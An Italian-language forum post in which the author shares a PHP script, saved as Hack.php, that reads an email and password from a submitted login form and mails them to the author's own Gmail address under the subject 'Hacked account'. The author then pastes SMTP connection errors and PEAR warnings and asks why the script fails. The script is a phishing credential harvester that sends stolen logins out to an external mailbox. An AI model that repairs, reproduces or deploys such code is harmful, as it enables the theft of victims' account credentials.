Scusate il doppio post ma non posso modificare...
Allora io ho fatto così
Codice PHP:
$User = $_POST['email'];
$Pass = $_POST['pass'];
require_once "Mail.php";
$from = "Piccio <andrea.piccini23@gmail.com>";
$to = "Piccio <andrea.piccini23@gmail.com>";
$subject = "Hacked account";
$body = "User: $User Password: $Pass";
// stick your GMAIL SMTP info here! ------------------------------
$host = "smtp.google.com";
$username = "andrea.piccini23";
$password = "xxxxxxxx";
// --------------------------------------------------------------
$headers = array ('From' => $from,
'To' => $to,
'Subject' => $subject);
$smtp = Mail::factory('smtp',
array ('host' => $host,
'auth' => true,
'username' => $username,
'password' => $password));
$mail = $smtp->send($to, $headers, $body);
if (PEAR::isError($mail)) {
echo("
" . $mail->getMessage() . "</p>");
} else {
echo("
Message successfully sent!</p>");
}
Non mi funzia...l'errore che restituisce sul browser è il tale:
Deprecated: Assigning the return value of new by reference is deprecated in C:\xampp\php\PEAR\Mail.php on line 154
Strict Standards: Non-static method Mail::factory() should not be called statically in C:\xampp\htdocs\Esami\Hack.php on line 26
Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Mail\smtp.php on line 225
Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871
Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 339
Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 340
Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871
Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Mail\smtp.php on line 229
Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871
Strict Standards: Non-static method PEAR::isError() should not be called statically in C:\xampp\htdocs\Esami\Hack.php on line 30
Failed to connect to smtp.google.com:25 [SMTP: Failed to connect socket: Impossibile stabilire la connessione. Risposta non corretta della parte connessa dopo l'intervallo di tempo oppure mancata risposta dall'host collegato. (code: -1, response: )]
Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 364
Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 196
Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871
Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 197
Le linee non sono quelle giuste perché c'era della roba sotto commento nel php che ho omesso...
da che dipende? e soprattutto che cos'è
Codice PHP:
require_once "Mail.php";